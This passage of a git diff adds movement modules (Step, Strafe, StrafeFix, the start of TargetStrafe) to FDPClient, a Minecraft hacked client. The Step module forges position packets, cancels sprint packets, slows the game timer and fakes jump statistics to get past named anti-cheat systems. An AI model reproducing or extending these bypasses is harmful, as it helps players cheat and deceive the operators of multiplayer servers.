} + } + } + } + } else { + switchStat = false + forceSprint = false + } + } + + @EventTarget + fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is C0BPacketEntityAction) { + if (allDirectionsValue.get()) { + when(allDirectionsBypassValue.get()) { + "SpamSprint", "NoStopSprint" -> { + if (packet.action == C0BPacketEntityAction.Action.STOP_SPRINTING) { + event.cancelEvent() + } + } + "Toggle" -> { + if (switchStat) { + if (packet.action == C0BPacketEntityAction.Action.STOP_SPRINTING) { + event.cancelEvent() + } else { + switchStat = !switchStat + } + } else { + if (packet.action == C0BPacketEntityAction.Action.START_SPRINTING) { + event.cancelEvent() + } else { + switchStat = !switchStat + } + } + } + "Spoof" -> { + if (switchStat) { + if (packet.action == C0BPacketEntityAction.Action.STOP_SPRINTING || packet.action == C0BPacketEntityAction.Action.START_SPRINTING) { + event.cancelEvent() + } + } + } + } + } + if (noPacketValue.get() && !event.isCancelled) { + if (packet.action == C0BPacketEntityAction.Action.STOP_SPRINTING || packet.action == C0BPacketEntityAction.Action.START_SPRINTING) { + event.cancelEvent() + } + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Step.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Step.kt new file mode 100644 index 0000000..c5e6e66 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Step.kt @@ -0,0 +1,577 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement + +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.stats.StatList +import net.minecraft.init.Blocks +import net.minecraft.item.ItemStack +import net.minecraft.network.play.client.C08PacketPlayerBlockPlacement +import kotlin.math.ceil +import kotlin.math.cos +import kotlin.math.sin +import kotlin.math.sqrt + +@ModuleInfo(name = "Step", category = ModuleCategory.MOVEMENT) +object Step : Module() { + + /** + * OPTIONS + */ + + val modeValue = ListValue("Mode", arrayOf("Vanilla", "Jump", "Matrix6.7.0", + "NCP", "NCPNew", "OldNCP", + "OldAAC", "AAC4.4.0", + "Spartan", "Rewinside", "Vulcan", "Verus", "BlocksMC"), "NCP") + private val heightValue = FloatValue("Height", 1F, 0.6F, 10F) + private val jumpHeightValue = FloatValue("JumpMotion", 0.42F, 0.37F, 0.42F).displayable { modeValue.equals("Jump") || modeValue.equals("TimerJump") } + private val delayValue = IntegerValue("Delay", 0, 0, 500) + private val timerValue = FloatValue("Timer", 1F, 0.05F, 1F).displayable { !modeValue.equals("Matrix6.7.0") && !modeValue.equals("Verus") } + private val timerDynValue = BoolValue("UseDynamicTimer", false).displayable { !modeValue.equals("Matrix6.7.0") && !modeValue.equals("Verus")} + + /** + * VALUES + */ + + private var isStep = false + private var stepX = 0.0 + private var stepY = 0.0 + private var stepZ = 0.0 + + private var ncpNextStep = 0 + private var spartanSwitch = false + private var isAACStep = false + private var wasTimer = false + private var lastOnGround = false + private var canStep = false + + private val timer = MSTimer() + + override fun onDisable() { + mc.thePlayer ?: return + + // Change step height back to default (0.5 is default) + mc.thePlayer.stepHeight = 0.6F + mc.timer.timerSpeed = 1.0F + wasTimer = false + lastOnGround = mc.thePlayer.onGround + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (wasTimer) { + mc.timer.timerSpeed = 1.0F + wasTimer = false + } + if (mc.thePlayer.isCollidedHorizontally && mc.thePlayer.onGround && lastOnGround) { + canStep = true + if(modeValue.equals("AAC4.4.0") || modeValue.equals("NCPNew") || modeValue.equals("Matrix6.7.0")) { + mc.thePlayer.stepHeight = heightValue.get() + } + }else { + canStep = false + mc.thePlayer.stepHeight = 0.6F + } + + lastOnGround = mc.thePlayer.onGround + + val mode = modeValue.get() + + + // Motion steps + when { + mode.equals("jump", true) && mc.thePlayer.isCollidedHorizontally && mc.thePlayer.onGround + && !mc.gameSettings.keyBindJump.isKeyDown -> { + fakeJump() + mc.thePlayer.motionY = jumpHeightValue.get().toDouble() + } + + } + } + + + + @EventTarget + fun onStep(event: StepEvent) { + mc.thePlayer ?: return + val mode = modeValue.get() + + if (event.eventState == EventState.PRE) { + if (mode.equals("AAC4.4.0", ignoreCase = true) || mode.equals("NCPNew", ignoreCase = true) || modeValue.equals("Matrix6.7.0")) { + if (event.stepHeight > 0.6F && !canStep) return + if (event.stepHeight <= 0.6F) return + } + + // Set step to default in some cases + if (!mc.thePlayer.onGround || !timer.hasTimePassed(delayValue.get().toLong()) || + mode.equals("Jump", ignoreCase = true) || mode.equals("MotionNCP", ignoreCase = true) || + mode.equals("LAAC", ignoreCase = true) || mode.equals("AAC3.3.4", ignoreCase = true) || + mode.equals("TimerJump", ignoreCase = true)) { + mc.thePlayer.stepHeight = 0.6F + event.stepHeight = 0.6F + return + } + + // Set step height + val height = heightValue.get() + + // Detect possible step + + mc.thePlayer.stepHeight = height + event.stepHeight = height + + if (event.stepHeight > 0.6F) { + isStep = true + stepX = mc.thePlayer.posX + stepY = mc.thePlayer.posY + stepZ = mc.thePlayer.posZ + } + + } else { + if (!isStep) { // Check if step + return + } + + if (mc.thePlayer.entityBoundingBox.minY - stepY > 0.6) { // Check if full block step + if (timerValue.get()<1.0) { + wasTimer = true + mc.timer.timerSpeed = timerValue.get() + if (timerDynValue.get()) { + mc.timer.timerSpeed = (mc.timer.timerSpeed / sqrt(mc.thePlayer.entityBoundingBox.minY - stepY)).toFloat() + } + } + when { + mode.equals("NCP", ignoreCase = true) || mode.equals("OldAAC", ignoreCase = true) -> { + fakeJump() + + // Half legit step (1 packet missing) [COULD TRIGGER TOO MANY PACKETS] + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + 0.41999998688698, stepZ, false)) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + 0.7531999805212, stepZ, false)) + timer.reset() + } + + mode.equals("AAC4.4.0", ignoreCase = true) -> { + val rstepHeight = mc.thePlayer.entityBoundingBox.minY - stepY + fakeJump() + timer.reset() + when { + rstepHeight >= 1.0 - 0.015625 && rstepHeight < 1.5 - 0.015625 -> { + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + 0.4, stepZ, false)) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + 0.7, stepZ, false)) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + 0.9, stepZ, false)) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + 1.0, stepZ, true)) + } + rstepHeight >= 1.5 - 0.015625 && rstepHeight < 2.0 - 0.015625 -> { + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + 0.42, stepZ, false)) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + 0.7718, stepZ, false)) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + 1.0556, stepZ, false)) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + 1.2714, stepZ, false)) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + 1.412, stepZ, false)) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + 1.50, stepZ, true)) + } + rstepHeight >= 2.0 - 0.015625 -> { + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + 0.45, stepZ, false)) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + 0.84375, stepZ, false)) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + 1.18125, stepZ, false)) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + 1.4625, stepZ, false)) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + 1.6875, stepZ, false)) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + 1.85625, stepZ, false)) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + 1.96875, stepZ, false)) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX + mc.thePlayer.motionX * 0.5, + stepY + 2.0000, stepZ + mc.thePlayer.motionZ * 0.5, true)) + } + } + /* + AAC4 Step Code By Co丶Dynamic + NO SKIDDER PLEASE + */ + + /* + BRUH it's useful + don't remove it + */ + } + + mode.equals("NCPNew", ignoreCase = true) -> { + val rstepHeight = mc.thePlayer.entityBoundingBox.minY - stepY + fakeJump() + when { + rstepHeight > 2.019 -> { + val stpPacket = arrayOf(0.425, 0.821, 0.699, 0.599, 1.022, 1.372, 1.652, 1.869, 2.019, 1.919) + stpPacket.forEach { + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + it, stepZ, false)) + } + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + } + + rstepHeight <= 2.019 && rstepHeight > 1.869 -> { + val stpPacket = arrayOf(0.425, 0.821, 0.699, 0.599, 1.022, 1.372, 1.652, 1.869) + stpPacket.forEach { + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + it, stepZ, false)) + } + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + } + + rstepHeight <= 1.869 && rstepHeight > 1.5 -> { + val stpPacket = arrayOf(0.425, 0.821, 0.699, 0.599, 1.022, 1.372, 1.652) + stpPacket.forEach { + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + it, stepZ, false)) + } + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + } + + rstepHeight <= 1.5 && rstepHeight > 1.015 -> { + val stpPacket = arrayOf(0.42, 0.7532, 1.01, 1.093, 1.015) + stpPacket.forEach { + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + it, stepZ, false)) + } + } + + rstepHeight <= 1.015 && rstepHeight > 0.875 -> { + val stpPacket = arrayOf(0.41999998688698, 0.7531999805212) + stpPacket.forEach { + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + it, stepZ, false)) + } + } + + rstepHeight <= 0.875 && rstepHeight > 0.6 -> { + val stpPacket = arrayOf(0.39, 0.6938) + stpPacket.forEach { + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + it, stepZ, false)) + } + } + } + timer.reset() + } + + mode.equals("Verus", ignoreCase = true) -> { + val rstepHeight = mc.thePlayer.entityBoundingBox.minY - stepY + mc.timer.timerSpeed = 1f / ceil(rstepHeight * 2.0).toFloat() + var stpHight = 0.0 + fakeJump() + repeat ((ceil(rstepHeight * 2.0) - 1.0).toInt()) { + stpHight += 0.5 + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, stepY + stpHight, stepZ, true)) + } + wasTimer = true + } + + mode.equals("Vulcan", ignoreCase = true) -> { + val rstepHeight = mc.thePlayer.entityBoundingBox.minY - stepY + fakeJump() + when { + rstepHeight > 2.0 -> { + val stpPacket = arrayOf(0.5, 1.0, 1.5, 2.0) + stpPacket.forEach { + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + it, stepZ, true)) + } + } + + rstepHeight <= 2.0 && rstepHeight > 1.5 -> { + val stpPacket = arrayOf(0.5, 1.0, 1.5) + stpPacket.forEach { + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + it, stepZ, true)) + } + } + + rstepHeight <= 1.5 && rstepHeight > 1.0 -> { + val stpPacket = arrayOf(0.5, 1.0) + stpPacket.forEach { + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + it, stepZ, true)) + } + } + + rstepHeight <= 1.0 && rstepHeight > 0.6 -> { + val stpPacket = arrayOf(0.5) + stpPacket.forEach { + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + it, stepZ, true)) + } + } + } + timer.reset() + } + + mode.equals("Matrix6.7.0", ignoreCase = true) -> { + val rstepHeight = mc.thePlayer.entityBoundingBox.minY - stepY + fakeJump() + when { + rstepHeight <= 3.0042 && rstepHeight > 2.95 -> { + val stpPacket = arrayOf(0.41951, 0.75223, 0.99990, 1.42989, 1.77289, 2.04032, 2.23371, 2.35453, 2.40423) + stpPacket.forEach { + if(it in 0.9..1.01) { + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + it, stepZ, true)) + }else { + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + it, stepZ, false)) + } + } + mc.timer.timerSpeed = 0.11f + wasTimer = true + } + + rstepHeight <= 2.95 && rstepHeight > 2.83 -> { + val stpPacket = arrayOf(0.41951, 0.75223, 0.99990, 1.42989, 1.77289, 2.04032, 2.23371, 2.35453) + stpPacket.forEach { + if(it in 0.9..1.01) { + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + it, stepZ, true)) + }else { + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + it, stepZ, false)) + } + } + mc.timer.timerSpeed = 0.12f + wasTimer = true + } + + rstepHeight <= 2.83 && rstepHeight > 2.64 -> { + val stpPacket = arrayOf(0.41951, 0.75223, 0.99990, 1.42989, 1.77289, 2.04032, 2.23371) + stpPacket.forEach { + if(it in 0.9..1.01) { + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + it, stepZ, true)) + }else { + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + it, stepZ, false)) + } + } + mc.timer.timerSpeed = 0.13f + wasTimer = true + } + + rstepHeight <= 2.64 && rstepHeight > 2.37 -> { + val stpPacket = arrayOf(0.41951, 0.75223, 0.99990, 1.42989, 1.77289, 2.04032) + stpPacket.forEach { + if(it in 0.9..1.01) { + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + it, stepZ, true)) + }else { + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + it, stepZ, false)) + } + } + mc.timer.timerSpeed = 0.14f + wasTimer = true + } + + rstepHeight <= 2.37 && rstepHeight > 2.02 -> { + val stpPacket = arrayOf(0.41951, 0.75223, 0.99990, 1.42989, 1.77289) + stpPacket.forEach { + if(it in 0.9..1.01) { + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + it, stepZ, true)) + }else { + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + it, stepZ, false)) + } + } + mc.timer.timerSpeed = 0.16f + wasTimer = true + } + + rstepHeight <= 2.02 && rstepHeight > 1.77 -> { + val stpPacket = arrayOf(0.41951, 0.75223, 0.99990, 1.42989) + stpPacket.forEach { + if(it in (0.9..1.01)) { + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + it, stepZ, true)) + }else { + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + it, stepZ, false)) + } + } + mc.timer.timerSpeed = 0.21f + wasTimer = true + } + + rstepHeight <= 1.77 && rstepHeight > 1.6 -> { + val stpPacket = arrayOf(0.41999998688698, 0.7531999805212, 1.17319996740818) + stpPacket.forEach { + if(it in (0.753..0.754)) { + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + it, stepZ, true)) + }else { + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + it, stepZ, false)) + } + } + mc.timer.timerSpeed = 0.28f + wasTimer = true + } + + rstepHeight <= 1.6 && rstepHeight > 1.3525 -> { + val stpPacket = arrayOf(0.41999998688698, 0.7531999805212, 1.001335979112147) + stpPacket.forEach { + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + it, stepZ, false)) + } + mc.timer.timerSpeed = 0.28f + wasTimer = true + } + + rstepHeight <= 1.3525 && rstepHeight > 1.02 -> { + val stpPacket = arrayOf(0.41999998688698, 0.7531999805212) + stpPacket.forEach { + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + it, stepZ, false)) + } + mc.timer.timerSpeed = 0.34f + wasTimer = true + } + + rstepHeight <= 1.02 && rstepHeight > 0.6 -> { + val stpPacket = arrayOf(0.41999998688698) + stpPacket.forEach { + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + it, stepZ, false)) + } + mc.timer.timerSpeed = 0.5f + wasTimer = true + } + } + timer.reset() + } + + mode.equals("Spartan", ignoreCase = true) -> { + fakeJump() + + if (spartanSwitch) { + // Vanilla step (3 packets) [COULD TRIGGER TOO MANY PACKETS] + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + 0.41999998688698, stepZ, false)) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + 0.7531999805212, stepZ, false)) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + 1.001335979112147, stepZ, false)) + } else { // Force step + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + 0.6, stepZ, false)) + } + + // Spartan allows one unlegit step so just swap between legit and unlegit + spartanSwitch = !spartanSwitch + + // Reset timer + timer.reset() + } + + + + mode.equals("Rewinside", ignoreCase = true) -> { + fakeJump() + + // Vanilla step (3 packets) [COULD TRIGGER TOO MANY PACKETS] + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + 0.41999998688698, stepZ, false)) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + 0.7531999805212, stepZ, false)) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + 1.001335979112147, stepZ, false)) + + // Reset timer + timer.reset() + } + mode.equals("BlocksMC", ignoreCase = true) -> { + fakeJump() + + val pos = mc.thePlayer.position.add(0.0, -1.5, 0.0) + + mc.netHandler.addToSendQueue( + C08PacketPlayerBlockPlacement(pos, 1, + ItemStack(Blocks.stone.getItem(mc.theWorld, pos)), 0.0F, 0.5F + Math.random().toFloat() * 0.44.toFloat(), 0.0F) + ) + + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + 0.41999998688698, stepZ, false)) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + 0.7531999805212, stepZ, false)) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(stepX, + stepY + 1, stepZ, true)) + + // Reset timer + timer.reset() + } + } + } + + isStep = false + stepX = 0.0 + stepY = 0.0 + stepZ = 0.0 + } + } + + @EventTarget(ignoreCondition = true) + fun onPacket(event: PacketEvent) { + val packet = event.packet + + if (packet is C03PacketPlayer && isStep && modeValue.equals("OldNCP")) { + packet.y += 0.07 + isStep = false + } + } + + // There could be some anti cheats which tries to detect step by checking for achievements and stuff + private fun fakeJump() { + mc.thePlayer.isAirBorne = true + mc.thePlayer.triggerAchievement(StatList.jumpStat) + } + + private fun couldStep(): Boolean { + val yaw = MovementUtils.direction + val x = -sin(yaw) * 0.32 + val z = cos(yaw) * 0.32 + + return mc.theWorld.getCollisionBoxes(mc.thePlayer.entityBoundingBox.offset(x, 1.001335979112147, z)) + .isEmpty() + } + + override val tag: String + get() = modeValue.get() +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Strafe.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Strafe.kt new file mode 100644 index 0000000..8a4535b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Strafe.kt @@ -0,0 +1,102 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.JumpEvent +import net.ccbluex.liquidbounce.event.StrafeEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import kotlin.math.cos +import kotlin.math.sin +import kotlin.math.sqrt + +@ModuleInfo(name = "Strafe", category = ModuleCategory.MOVEMENT) +object Strafe : Module() { + + private var strengthValue= FloatValue("Strength", 0.5F, 0F, 1F) + private var noMoveStopValue = BoolValue("NoMoveStop", false) + private var onGroundStrafeValue = BoolValue("OnGroundStrafe", false) + private var allDirectionsJumpValue = BoolValue("AllDirectionsJump", false) + + + private var wasDown = false + private var jump = false + + @EventTarget + fun onJump(event: JumpEvent) { + if (jump) { + event.cancelEvent() + } + } + + override fun onEnable() { + wasDown = false + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (mc.thePlayer!!.onGround && mc.gameSettings.keyBindJump.isKeyDown && allDirectionsJumpValue.get() && (mc.thePlayer!!.movementInput.moveForward != 0F || mc.thePlayer!!.movementInput.moveStrafe != 0F) && !(mc.thePlayer!!.isInWater || mc.thePlayer!!.isInLava || mc.thePlayer!!.isOnLadder || mc.thePlayer!!.isInWeb)) { + if (mc.gameSettings.keyBindJump.isKeyDown) { + mc.gameSettings.keyBindJump.pressed = false + wasDown = true + } + val yaw = mc.thePlayer!!.rotationYaw + mc.thePlayer!!.rotationYaw = getMoveYaw() + mc.thePlayer!!.jump() + mc.thePlayer!!.rotationYaw = yaw + jump = true + if (wasDown) { + mc.gameSettings.keyBindJump.pressed = true + wasDown = false + } + } else { + jump = false + } + } + + @EventTarget + fun onStrafe(event: StrafeEvent) { + val shotSpeed = sqrt((mc.thePlayer!!.motionX * mc.thePlayer!!.motionX) + (mc.thePlayer!!.motionZ * mc.thePlayer!!.motionZ)) + val speed = (shotSpeed * strengthValue.get()) + val motionX = (mc.thePlayer!!.motionX * (1 - strengthValue.get())) + val motionZ = (mc.thePlayer!!.motionZ * (1 - strengthValue.get())) + if (!(mc.thePlayer!!.movementInput.moveForward != 0F || mc.thePlayer!!.movementInput.moveStrafe != 0F)) { + if (noMoveStopValue.get()) { + mc.thePlayer!!.motionX = 0.0 + mc.thePlayer!!.motionZ = 0.0 + } + return + } + if (!mc.thePlayer!!.onGround || onGroundStrafeValue.get()) { + val yaw = getMoveYaw() + mc.thePlayer!!.motionX = (((-sin(Math.toRadians(yaw.toDouble())) * speed) + motionX)) + mc.thePlayer!!.motionZ = (((cos(Math.toRadians(yaw.toDouble())) * speed) + motionZ)) + } + } + + + fun getMoveYaw(): Float { + var moveYaw = mc.thePlayer!!.rotationYaw + if (mc.thePlayer!!.moveForward != 0F && mc.thePlayer!!.moveStrafing == 0F) { + moveYaw += if(mc.thePlayer!!.moveForward > 0) 0 else 180 + } else if (mc.thePlayer!!.moveForward != 0F && mc.thePlayer!!.moveStrafing != 0F) { + if (mc.thePlayer!!.moveForward > 0) { + moveYaw += if (mc.thePlayer!!.moveStrafing > 0) -45 else 45 + } else { + moveYaw -= if (mc.thePlayer!!.moveStrafing > 0) -45 else 45 + } + moveYaw += if(mc.thePlayer!!.moveForward > 0) 0 else 180 + } else if (mc.thePlayer!!.moveStrafing != 0F && mc.thePlayer!!.moveForward == 0F) { + moveYaw += if(mc.thePlayer!!.moveStrafing > 0) -90 else 90 + } + return moveYaw + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/StrafeFix.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/StrafeFix.kt new file mode 100644 index 0000000..d74ccaa --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/StrafeFix.kt @@ -0,0 +1,106 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement + +import net.ccbluex.liquidbounce.event.StrafeEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.utils.RotationUtils +import net.minecraft.util.MathHelper +import kotlin.math.abs + +@ModuleInfo(name = "StrafeFix", category = ModuleCategory.MOVEMENT) +object StrafeFix : Module() { + + private val silentFixVaule = BoolValue("Silent", true) + + /** + * Strafe Fix + * Code by Co Dynamic + * Date: 2023/02/15 + */ + + var silentFix = false + var doFix = false + private var isOverwrited = false + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (!isOverwrited) { + silentFix = silentFixVaule.get() + doFix = true + } + } + + override fun onDisable() { + doFix = false + } + + fun applyForceStrafe(isSilent: Boolean, runStrafeFix: Boolean) { + silentFix = isSilent + doFix = runStrafeFix + isOverwrited = true + } + + fun updateOverwrite() { + isOverwrited = false + doFix = state + silentFix = silentFixVaule.get() + } + + fun runStrafeFixLoop(isSilent: Boolean, event: StrafeEvent) { + if (event.isCancelled) { + return + } + val (yaw) = RotationUtils.targetRotation ?: return + var strafe = event.strafe + var forward = event.forward + var friction = event.friction + var factor = strafe * strafe + forward * forward + + val angleDiff = ((MathHelper.wrapAngleTo180_float(mc.thePlayer.rotationYaw - yaw - 22.5f - 135.0f) + 180.0) / (45.0).toDouble()).toInt() + //alert("Diff: " + angleDiff + " friction: " + friction + " factor: " + factor); + val calcYaw = if(isSilent) { yaw + 45.0f * angleDiff.toFloat() } else yaw + + var calcMoveDir = abs(strafe).coerceAtLeast(abs(forward)) + calcMoveDir *= calcMoveDir + val calcMultiplier = MathHelper.sqrt_float(calcMoveDir / 1.0f.coerceAtMost(calcMoveDir * 2.0f)) + + if (isSilent) { + when (angleDiff) { + 1, 3, 5, 7, 9 -> { + if ((abs(forward) > 0.005 || abs(strafe) > 0.005) && !(abs(forward) > 0.005 && abs(strafe) > 0.005)) { + friction /= calcMultiplier + } else if (abs(forward) > 0.005 && abs(strafe) > 0.005) { + friction *= calcMultiplier + } + } + } + } + if (factor >= 1.0E-4F) { + factor = MathHelper.sqrt_float(factor) + + if (factor < 1.0F) { + factor = 1.0F + } + + factor = friction / factor + strafe *= factor + forward *= factor + + val yawSin = MathHelper.sin((calcYaw * Math.PI / 180F).toFloat()) + val yawCos = MathHelper.cos((calcYaw * Math.PI / 180F).toFloat()) + + mc.thePlayer.motionX += strafe * yawCos - forward * yawSin + mc.thePlayer.motionZ += forward * yawCos + strafe * yawSin + } + event.cancelEvent() + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/TargetStrafe.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/TargetStrafe.kt new file mode 100644 index 0000000..94f264c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/TargetStrafe.kt @@ -0,0 +1,281 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.RotationUtils +import net.ccbluex.liquidbounce.utils.render.ColorManager +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import 